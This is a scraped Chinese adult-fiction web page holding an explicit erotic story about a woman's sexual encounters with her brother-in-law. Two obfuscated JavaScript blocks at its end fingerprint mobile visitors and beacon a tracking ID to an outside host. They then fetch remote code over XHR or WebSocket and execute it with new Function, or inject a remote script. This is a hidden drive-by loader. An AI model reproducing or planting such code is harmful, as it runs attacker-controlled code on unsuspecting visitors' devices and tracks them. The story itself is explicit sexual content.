图片载入中

姐夫的温柔

特大字】 【大字】 【中字】 【小字

姐夫的温柔

大学考试之后,我便赋闲在家中,无所事事,小男友又去了个甚么学术考察旅行团,剩下我一个人在香港。所以当姐姐打电话来,邀请我到她的家里渡假几天时,我立刻便答应了。

姐姐和姐夫是住在港岛区的一个豪华屋苑里,那里设施齐全,有游泳池、健身室等等,我当然乐意去使用。

到了星期六的下午,我才到达姐姐的家中,他们都很热情的招唿我。我和姐姐的感情很好,姐姐才比我大八年,姐夫大我十多年,二人还未有孩子,所以生活过得十分写意。

“姐姐,你好幸福啊,家居布置得那么漂亮,姐夫对你真好。”

“他会布置才怪,这里全是我的工夫,他一天到晚就只是会跑去做健身。” 这时我才留意到,姐夫确是有一副运动家的身型,眼睛便不住的往他身上打量。

姐夫也没有在意我的反应,说道︰“你也不用羡慕你姐姐,这几天你在里渡假,可以好好享受一番。”

听到“享受”二字时候,目光刚好停在姐夫的裤裆上,心中不禁想︰“不知到姐夫的家伙分量如何?”

他们当然不知到我在想甚么,便道︰“星期一你姐夫和我也要上班,只有明天可以陪伴你。这里是你的住户证,你可以凭它使用会所的设施,家中的东西,你也可以随便使用。”

“谢谢,姐姐。”

“那么,明天你想做甚么?”

“去游泳好了。”

“好啊,会所的泳池设备不错,我也很久没有游泳了。”

其实我是想看看姐夫穿着泳裤的身体,欣赏猛男一向是我的兴趣。

接着他们便带我到他们准备好的一间客房,安置好我的行装后,我们便一起出外逛街吃饭。

饭后,我们便回到姐姐家中,享用姐夫的高级影音设备。过了一会,姐姐说要休息了,便和姐夫回到房中,还叮嘱我要早点睡觉.

我再看了一会DVD,忽然想起,我的泳衣很久没有穿过了,不知还合不合身,于是便回到房间,把泳衣找出来,对着镜子,除下身上所有衣服后,便把泳衣穿上。

我真的是长大了,胸部和臀部都丰满了,把一件普通的一件头泳衣填得满满,胸部只有一半给包着,下身更变得像高V泳衣一样,刚刚只能盖着阴部,双腿显得很修长,从镜中看来,十分性感。可是也有不少阴毛跑了出来,看来一定要好好处理一番才行。

心想︰幸好记起要试穿泳衣,否则明天便要出洋相了,但是我并没有带备剃刀,唯有向姐姐求助,但现在他们可能已经入睡了,于是便想到到浴室里看看,相信姐姐,甚至姐夫也不会介意我借用他们的工具。

我便把泳衣卸下,套上件宽身的T恤,也不用穿回内裤,便往浴室跑去。 我把脚步放轻,以免吵醒他们,当我经过他们的睡房时,听到一些奇怪的声音,像是姐姐在说话,但怎么也听不清她在说甚么,我也不意为意,便走进浴室了。

我很容易便找到剃刀和剃须膏,拉起了T恤,用温水把阴阜打湿,抹上了剃须膏,便开始小心奕奕的刮去阴毛了,我更索性把整个阴阜刮得干干净净,因为那件泳衣所能覆盖的面积实在不多。剃完之后,我便用一条热毛巾将整个阴户擦干净,现在那里每一处也很光滑,看上去像是小女孩一般。

虽然我不是第一次剃阴,但每次在剃阴的过程中,我总觉得特别容易引发性欲,光滑的阴户给手指触摸的感觉很特别,我有时会难以自控,手不停的要抚摸那里. 当我沈醉于触感世界时,我忽然联想到在姐姐房门外听到的是甚么声音了。在好奇心驱使下,我静静地再到了姐姐门外。

这时房内依旧传出姐姐一些“嘤嘤嗯嗯”的声音,像是忍受极大的痛苦,又像是享受至高的欢愉。这时我才发觉,房门是没有完全关上的,怪不得声音会传了出来。

我把房门稍稍推开少许,便看见姐姐光熘熘的背嵴,姐夫躺在大床的正中,姐姐俯伏在姐夫之上,两人正相拥着亲嘴。姐姐的双腿是分开的跨在姐夫身上,在浑圆的屁股下,我可以清楚的看到姐姐的阴户里插着一根很粗大的肉棒。 虽然我也有和我的小男友作过爱,但是这个画面,对于我来说实在是太震撼了,我从来也未有见过别人在我面前做爱的,除了小男友的外,也未见过别人的肉棒,心里既感到害怕,但又十分兴奋,虽然知到偷看姐姐是不对的,但是我仍然躲在门旁,继续看他们表演。

这时他们仍然在缠着一起,姐夫双手不停的在姐姐背上来回抚摸,姐姐也轻轻摆动着屁股,把姐夫的肉棒不停地套弄着。这种慢挑细弄的享受,我是未有尝试过的,我的小男友就只会横冲直撞的蛮干,有时候我还没有弄清楚状况的时候,他便完事了,现在看到姐姐这作爱的方法,真令我心痒难当,只觉得身体愈来愈热。

这时姐夫的双手已经慢慢的移到姐姐的屁股之上,轻轻的搓弄了一会,便把两片屁股紧紧的抓着,跟着腰肢一挺,便把那根粗大的肉棒,狠狠的插入姐姐体内,肉棒完全没入姐姐的阴户之中,只剩下那满是皱纹的阴囊留在外面,姐姐也忍不住“啊”的一声叫了出来。

这时听到姐夫在说︰“怎么了?平常在这个时候,你已乐得大叫大嚷的了,为甚么今晚那样拘谨?”

“你这个坏人,啊……也说过妹妹在家里,不要做爱了,啊……你还要我大声叫床吗?”

“口里说不要做爱,是谁见了我的大鸡巴,便爱不释手的把玩着?”

“啊……谁叫你的鸡巴这么坏,噢……干了那么久,还不肯射精吗?”

“你想我射精吗?那你要帮我清理啊!”

“你休想,看我把不把我干得人仰马翻。”

接着姐姐便坐起身来,下身紧紧的坐在姐夫的肉棒上,我也再看不到他们交合的地方了,姐姐把双手按在姐夫的胸膛之上,定着上身,下身开始慢慢的前后摇动,姐姐就像骑马一般驰逞着。

渐渐地姐姐的摇曳速度越来越快,头发也甩了起来,我看见姐姐咬着嘴唇,很努力地使自己不要叫出来,但是来回了百来下后,姐姐终于大叫一声,再次软软的瘫在姐夫身上。我也再次看到他们交合的地方,我看见姐姐的阴户已泄出了大量的淫水,把姐夫的肉棒和阴囊也润湿了,而姐夫的肉棒还直挺挺的插在姐姐的阴户里,一点也没有退缩的迹像。

这时只听到姐夫说︰“你完了吗?现在到我了。”接着姐夫便坐了起来。 现在他们是对坐的相拥着,下身依然的紧贴在一起,可怜的姐姐完全没有反抗的余地,任凭姐夫摆布,姐夫再把双手把姐姐浑圆的屁股托着,配合身体的动作,一面底头亲吻姐姐的乳房,一面把姐姐上下抛动。

那种冲刺一定是十分激烈的了,我看姐姐一定是乐透了,她只能抱着姐夫的头,嘴里发出一些没有意思的声音,我甚至可以隐约听到从他们交合处传来的一些“滋、滋”的水声,姐姐一定是又泄了一身淫水了。

最后姐姐只得向姐夫低声求饶,说道︰“啊……啊……求你……求你把火烫的精液……啊……射进我的身体罢……啊……”

“那我射精之后,你要怎样做?”

“啊……我会把你……你的鸡巴舔得干干净净,啊……保证你那天下珍品,一点也……也不浪废.”

姐夫像是很满意这答复,抛动的动作便慢了下来,姐姐趁机伏在姐夫的胸口喘息。这时姐夫突然擡起头来,和我打个照面,我实在是太大意了,他们这种坐拥的姿势,姐夫是刚好向着我的,我竟然一点也没有考虑到这一点.

正在不知作出如何反应时,姐夫把一只手指放在嘴前,作一个禁声的手势,看来姐夫并不反对我在观战,我正在考虑应不应该继续留下时,我又被眼前的情景吸引了。

这时姐夫把姐姐一手抱着,然后一个翻身,便把姐姐压在下面,因为姐夫长得很壮健,这个动作做得一气呵成,干净俐落,二人的身体还未有一刻分开过. 现在我看到的是姐夫的背部,这就是所谓的虎背熊腰了,在强壮的腰肢下,是个结实的臀部,难怪姐夫这样会干。接着姐夫把双手托在姐姐两脚的膝弯处,肉棒又插进姐姐的阴户内,姐姐忍不住又叫了出来。

姐夫跟着便把屁股高高的挺起,把肉棒抽出了一大半,但是我还未见到肉棒的头部,看来姐夫的肉棒,不单止粗,而且还很长,姐夫把肉棒抽出大半以后,又是全力的往下插,用力插得连阴囊也撞上姐姐的会阴之上。

姐夫便这样的剑及履及地干着姐姐,可怜的姐姐给姐夫抽插得死去活来,只能发出一些没有意思的声音。

“啊……啊……干死我了。”

“我……我受不了,啊……”

“高潮又……又来了……啊……”

“美死了……”

但姐夫仍是埋头的苦干,就这样抽插了百来次后,姐夫的速度便愈来愈快,同时喉头开始发出一些像野兽的声音。忽然姐夫停止了所有的活动,全身的肌肉绷得紧紧的,下身紧紧的抵着姐姐的身体,我看见了姐夫屁股上的肌肉收紧了一下,跟着便放松了,跟着又再次收紧,如此这般一紧一松的抽搐四、五次之后,姐夫再轻轻的抽插几次,便倒在姐姐身上不动了,两人都在大声喘息着。

我想姐夫是射了精了,但是他的肉棒还插着姐姐的阴户,还未舍得分开呢!我想是时候静静的离开了,但是还未看到他们正式的分开时又似乎有些不完美,其实可能是我想要看看姐夫整根的肉棒,我才甘心。

过了一会,姐姐轻推了姐夫一下,姐夫便翻下身体躺回床上,同时也抽出了肉棒。

我终于都看到姐夫整根的肉棒了,虽然现在只剩下八分的坚硬,但是已经比起我小男友的大上一个码了,肉棒本身已经很粗的了,估不到那个圆头还要大,怪不得姐姐给它干得这么爽的了,整根肉棒都沾满了淫水和精液,在黑暗之中闪闪生光。

当我还在赞叹姐夫的肉棒之时,姐姐忽然坐了起来,这把我吓了一跳,以为给姐姐发现了,但随即看到姐姐把头伏到姐夫的肉棒上,我看见姐姐用一只手把肉棒轻轻扶正,接着便伸出舌头来,把肉棒从下至上的舔抹,把上面的精液和淫水舔得干干净净,我真的不敢相信,姐姐真的会用嘴巴,来和姐夫的肉棒清理。 姐姐把一面舔净后,把头一转,又去舔另一面了,姐姐是这样慢慢的舔,又是舔得那么的仔细,倒像是十分享受似的,我也不禁的咽了一下口水。最后姐姐张大了嘴巴,把整个圆头含了进去,跟着便轻轻吸啜,还把头左右的转动,姐姐是想把残留在尿道内的精液也吸了出来。

最后“答”的一声,姐姐放开了姐夫的肉棒,躺回姐夫的身旁,看来姐姐的工作已经完成了,现在姐夫的肉棒全身已经干干净净的,软软的垂了下来,而姐夫的脸上是一个满足的微笑。

这时姐夫的目光再次瞄向我藏身的地方,我不好意思和他再有眼光的接触,于是逃也似的跑回自己房间去了。

当我迈开脚步时,才发现我的两腿内侧已经湿了一大片,淫水从小穴沿着大腿缓缓流下,我是从来未有发过这么多水的,如果不是没有穿内裤的话,一定会把整条内裤湿透的。

我匆忙的跑回房中,坐在床上,用纸巾小心的揩抹阴户和大腿,在清理的时候,忽然发出奇想︰如果小男友也用舌头来和我清理,一定会痒死的了。这时候我真是恨透我的小男友了,如果他在这里的话,我一定会把他强奸了的。

这晚我一直胡思乱想,一时想到姐姐和姐夫做爱的情境,姐姐面上忘我的欢愉,身体肉欲的享受,刚才她得到了多少次高潮呢?一时又想到姐姐为姐夫清理的场面,姐夫的肉棒真伟大,把姐姐的嘴巴撑得满满的,姐姐怪可怜的。

她们做爱的画面、姐夫健硕的身型、结实的臀部、雄壮的肉棒,整晚在我脑海中转来转去,最后想到的是︰如果姐夫要和我做爱,我会拒绝吗?

第二天早上,我很迟才起床,梳洗过后,才发觉姐姐她们也是起了床不久,想来一定是昨晚的活动过于激烈所至。本来我想到面对姐夫的时候,一定会很尴尬的了,因为他昨晚是知道我在偷窥的,但是姐夫和我有说有笑,像是甚么事也没有发生过一般,渐渐地我也把我的故虑抛诸脑后了。

我们三人用过餐后,闹笑了一会,便出发去会所游泳了。

当我和姐姐在会所的更衣室内换上泳衣的时候,我还担心姐姐会责怪我的泳衣太过暴露,但是当我看见姐姐穿上了她的新款泳衣的候时,我便放下心来了。姐姐其实一点也不保守,泳衣的前幅倒像是没有甚么特别的,但背部和边旁的开口却开得很大,这样从旁边看起来便会很性感,但也很含蓄,我想这正好是我姐姐的写照。

当我们到达游泳池旁边的时候,姐夫早就已经到达了,还正在做热身运动。姐夫果然有一副健硕的身材,粗壮的手臂、宽阔的胸膛,还有那可以引以为傲的腹肌,真是想上前去去摸他一把。

姐夫还穿着一条黑白垂直粗间条的泳裤,虽然款式不是很性感,但在黑白掩映下,更加惹人暇思,白色的部分像是可以看透里面一般,但是又好像只是黑色部分的反映。可是昨晚的大肉棒呢?它怎么可能是藏在这小泳裤之内呢?

当我正在胡思乱想之际,姐姐已经拉我下水去了。这个泳池的设施真不错,分开室外和室内两个部分,还有嬉水池、滑水梯、按摸池等,而且因为是私人会所的关系,所以人数不多,都是一些小鬼和照料他们的人,大都是一些上了年纪的人,他们全部都在浅水区内嬉水。

我们三人便一起游了一会水,泡了一会按摸池,也走到嬉水区内闹作一团,姐夫甚至把我拦腰抱起,再抛进水中,我便和姐姐合力扭打姐夫,最后姐夫大叫投降,我们才罢手。我当然是有趁机会时,在姐夫健硕的身体上摸上几手。 过了一会,姐姐说要出去室外晒太阳了,因为我不想晒黑的关系,便和姐夫继续在深水区内游泳了。这里是一个无人的角落,我自由自在的游了一会后,正在扶着池边在休息,姐夫游了过来,说要改进我的泳术,我也闹着玩的要他多多指教。

姐夫双手便横托着我的腰间,要我踢水给他看。踢了一会后,姐夫便放下了我,自己作了一些示范,便又再托起我来练习。

这时候我感觉到有些不对劲,因为这时姐夫的一只手是托着我的胸部,另一只手则是托在小腹之下,差不多就是耻丘的位置,但是姐夫好像并没有在意,可能只是我自己多心而已,但是也有可能是姐夫在故意的挑逗我,我心里微微感到兴奋,也没有说甚么,便开始踢水。

由于我的泳衣并不是太称身的关系,耻丘并不是被泳衣全部的覆盖,姐夫的手掌有部分是和我的肌肤直接接触的,那感觉麻麻痕痕的,蛮有趣的,于是我便更加努力踢水,藉着身体的活动,增加磨擦。

当我享受着触摸的快感的时候,我发觉姐夫的双手并不是静止不动的,一只手竟然在轻轻搓弄我的乳房,另一只手则已经移到了我耻丘之上,虽然是隔着泳衣,但我已经感到很兴奋了,于是便继续不断的摆动身体,期待更大的刺激。 不久之后,我更感觉到有一只手指已熘进了我两腿中间,隔着泳衣轻轻的按在我小穴之上,我本能地把双腿挟紧,但那只手指并没有退缩,还开始轻轻的颤动,这时候再加上我踢水的动作,我感觉到前所未有的刺激。没想到把双腿一挟紧,那手指的摩擦力便会增加,对小穴的挑逗便会更加的烈,我只觉得身体愈来愈热,小穴内亦开始潮湿起来。

那种触电的感觉不断的传来,渐渐地我也开始失控了,身体开始不停的摆动着,最后我再也不能支持下去,双腿停止了踢水的动作,垂了下来,身子也跟着也沈下了水中,姐夫便乘势地把我从后揽抱了入怀中。

姐夫把我紧紧的抱着,但是他的双手并没有因此而收敛,继续还是抓在我的胸前和耻丘之上,还趁势的拉下了我一边的肩带,使我的泳衣松开了,一只手掌便伸进了我的泳衣之内,直接的搓弄我的乳房。

他的抚摸是那么温柔而有力,手指还在不断地挑拨着我的乳头,我给姐夫弄得全身趐麻,乳头发硬,说不出的舒服。我为了不至于沈下水中,一只手只得反手勾着姐夫的后颈,另一只手则扶着姐夫的手臂,这使我完全处于不能反抗的位置,任由姐夫双手在我身上肆虐。

姐夫还低头轻吻我的后颈和耳垂,这使我全身酸软,更加无力抗拒姐夫的入侵。而按在我耻丘上的那一只手也并没有闲着,它已经拉开了我泳衣的裆位,把我的小穴完全暴露于池水之中,手指已经沿着我的阴缝来回抚摸,那种快感使我趐得把身体软软的挂在姐夫身上。

我还剩下的一丝理志,使我在轻声叫道︰“姐夫,不要……这样,不……” 但是姐夫没有理会,只是加紧的挑逗︰“小美人,昨晚的表演精彩吗?” 姐夫是从来未试过这样叫我的,我给姐夫的轻佻吓了一跳,忽然间想到了一件事︰“你是……是故意的没有把门……关好的吗?”

“这个当然,如果没有你来欣赏,那岂非可惜?”

“我……我才不要欣赏.”

“对,对,对,做爱这回事,是要亲身享受的才对,光是欣赏是没用的。” “你……你真是个……个坏人……噢……”我再次地软倒在姐夫身上,背部紧贴着姐夫健硕的胸膛,但臀部却感觉到有一硬物在撑着,我也没有在意是甚么的了。

这时候姐夫的手掌,已经在我暴露的小穴上加紧的刺激了,忽然间他像发现了一个秘密似的,于是再去用手指来证实一下,便问道︰“这是怎么回事?你好像是还没有长出阴毛似的。”

“是我……为你把它刮得干干……净净的。”

“是吗?我是最喜欢光熘熘的阴户的,那我要好好的疼你了。”

我也不知道为甚么会对姐夫说出这样的话来,但是姐夫似乎很喜欢这答案,便从我后颈吻了下去。而抚摸我小穴的那只手,亦用手指把我的阴唇翻开了,直接磨擦里面那幼嫩的小花瓣了。

那刺激几乎把我乐昏了,我感觉到小穴之内已经开始尽湿了,双手把姐夫紧紧的抓得陷了下肉去。

“小美人,这滑滑黏黏的,是甚么?”

“是……是……爱液。”

“甚么爱液,是淫水,你个淫荡的小美人。”

“是……是淫水……淫荡……噢……”我开始语无轮次的乱叫了。

“姐夫……啊……很舒服……”

“噢……不……不要……啊……”

在一轮的刺激欢愉过后,我回过神来,便道︰“啊……姐夫,我们上……上岸找个地方好……好吗?”

这个时候我上身的泳衣已差不多褪了一半下来,而姐夫亦已经把一节手指滑进了我的小穴之内,我恐怕再发展下去,情况会变得不可收拾。

“傻瓜,我个这样子能上岸吗?”

我一时弄不能明白姐夫的意思,姐夫便把我的手带向身后摸去,我忽然间触摸到的是一根火烫的大肉棒,原来它早已经不能容纳于那条细小的泳裤之内,不知甚么时候已经跑了出来。

由于我事前并没有心理准备,而且并没有想到姐夫会在泳池中露出了肉棒,我“哗”的一声叫了出来,挣开了姐夫的怀抱,游了开去。当我回头看见姐夫的时候,他并没有追上来,他的脸上的表情是愕然和苦笑。

我也只得向他苦笑了一下,但是并没有游回他的身边,因为刚才的声音可能已惊动了旁人,虽然我给姐夫挑弄得很舒服,但是总不成在公众地方作起爱来。 于是我便把我的泳衣整理好,再也没有理会姐夫,便游了上对岸,我上岸的时候,双腿还感觉到一些的酸软呢。

我跑到外面去,找到姐姐后便躺在她身旁休息,好不容易心情才回复平静.由于昨晚没有睡好的关系,迷迷煳煳中便睡着了。

后来是姐姐把我唤醒的,她告诉我说姐夫去了做健身,不用再会他了。那天一直到晚上我才再见到姐夫,我们都装作甚么事也没有发生过的似的。

晚上当我一个人躺在床上的时候,不期然的又想起今天在游泳池中,跟姐夫的激情场面,不禁满面通红,心如鹿撞。只记得姐夫结实的胸膛紧贴着自己的背嵴,强壮的手臂把我抱在怀中,还有那会令人发疯的双手,在我身上四处游走。我感觉到身体愈来愈热,最后忍不住要再去偷看姐姐和姐夫做爱的情景。

当我小心奕奕地走到姐姐和姐夫的房门的时候,发觉它已经紧紧的关上了,里面静悄悄的,半点声音也没有。我呆站了半晌,心里感到十分气馁,看来今晚是没有甚么激情的场面了。

忽然间想到了姐夫的泳裤,便想看看它是怎样把那大肉棒收藏在里面的,于是便往浴室走去,在换下的衣物堆中,很容易便找到姐夫的黑白泳裤,放在手中细心欣赏,看着裤内的空间,幻想着它藏着肉棒的情况,但是因为它已经泡过水的关系,现在只得一股游泳池水的气味。

一瞥眼间,在衣物堆中看到了一条男装的内裤,这只可能是姐夫穿过的,我如获至宝地把它拿到手中欣赏.它是一条运动型的内裤,可能姐夫便是穿着它来做健身运动的,因为要方便运动的动作关系,所以用的布料很少,尤其是覆在大上的位置,只是剩下裤头的橡根带而已,这样子大腿便可以更自由的活动了。 整条内裤就像是一条粗阔的橡根带,只是后面加上一块三角形的布块,用来盖着屁股,连着前面中间加上的一个布兜,用来藏着肉棒而已,整条内裤所用的布料比起那泳裤还要少,当然看起来也还要性感。我忍不住的放在鼻旁一嗅,是一股男性的汗味和骚味,这简直令我神魂颠倒了,于是我便拿着它赶快的跑回房中。

我拿着姐夫的内裤,躺在床上细心的把玩,还把拳头放进那内裤之内,使到裤裆高高的隆起,幻想内里是藏着一根粗壮的肉棒,正欲破裤而出。我更忍不下的把它贴在脸旁厮磨,鼻子便嗅到那浓烈的男子气息,但是这样却使到我情欲十分高张,极之需要一个强壮男性的慰寂,身体难过得要命,这都怪我今天在泳池中太过窝囊了,否则姐夫的肉棒便可能早已经尝到了。

记起自己的手掌还有一刻是碰过姐夫那肉棒的,但是却没有好好地把握,现在只是隐约记得那肉棒是像火般的灼热,棒身十分粗大,一只手像是没法包围得着的,我现在是多么需要那根肉棒的啊。

我渐渐地便用那触摸过肉棒的手掌在自己的身上四处尤走,幻想是姐夫的抚摸,还脱去了自己的内裤,在那光熘熘的阴户上来回抚摸,但是那种感觉和姐夫的抚摸相比,实在是相差得太远了。姐夫双手在抚摸我的乳房和阴户时,我还能感受得到姐夫手掌上的皮肤那种粗糙的感觉,那种感觉是现在无法代替的。 最后我只得利用姐夫的内裤来不断的磨擦我的小穴,我才能得到一丝丝的安慰,姐夫的内裤也因此沾到了不少我的淫水。

我也记不起当晚是怎样入睡的,第二天醒来,姐姐和姐夫已经上班了,家里只剩下我一个人,我也没有穿回内裤,仍然只是穿着那件宽身的T恤,便走出房外。

我便把姐夫的内裤放回浴室内,梳洗过后,不期然的便走进了姐姐和姐夫的房间去,可能我是想看看他们昨晚有没有做过爱的痕迹.我看见床只是草草的执拾,可能今早他们是匆匆的赶上班去的,我掀开了盖被,微皱的床单上也没有甚么特别,我微微的感到失望。望着空白的大床,又回想到那晚偷看姐姐和姐夫做爱的情形,姐姐就是躺在这位置上,享受着姐夫的抽插吗?

我不禁地躺上了姐姐的大床,幻想自己化身变作了姐姐,迎合着那肉棒的抽送。 这时候,我的身体感觉到床褥上的余温,鼻子里微微嗅到姐夫在床里的气味,这再使我感觉到心荡神驰,难以自控,身体不断的在床上扭来转去,最后一只手又忍不住的要往那空虚的小穴摸去。

这时候,房门旁忽然传来了一把声音︰“小美人,请问你在做甚么呢?” 我被吓了一跳,立刻坐起身来,把T恤拉到差不多盖到膝上去,擡头便看见是姐夫,他穿着整齐的西装站在门旁看着我,面上是一个暧昧的笑容,不知到他是甚么时候到来的,有没有看见我刚才的丑态?

“我……客房的床睡得不好,我想来这里休息一下。”

“是吗?那很好,你就随便的在这床上躺躺罢.我在这里陪陪你好吗?” “这……那也可以,但是姐夫你不是要上班的吗?”

“我送了你姐姐上班后,便打了电话回公司,请了一天的假。”

“那为甚么呢?”

“回来看看小美人,有没有甚么事可以帮忙。”

“哪有甚么事要帮忙!”

“如果没有甚么事,那我自己也要休息一下了。”

其实我们两人都十分清楚,对方心中想的是怎么,但是大家也没有说破,我也只好静静地看着事情的发展了。


上一篇:与-妹妹在浴室里的每一天

下一篇:梁龙奸母


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};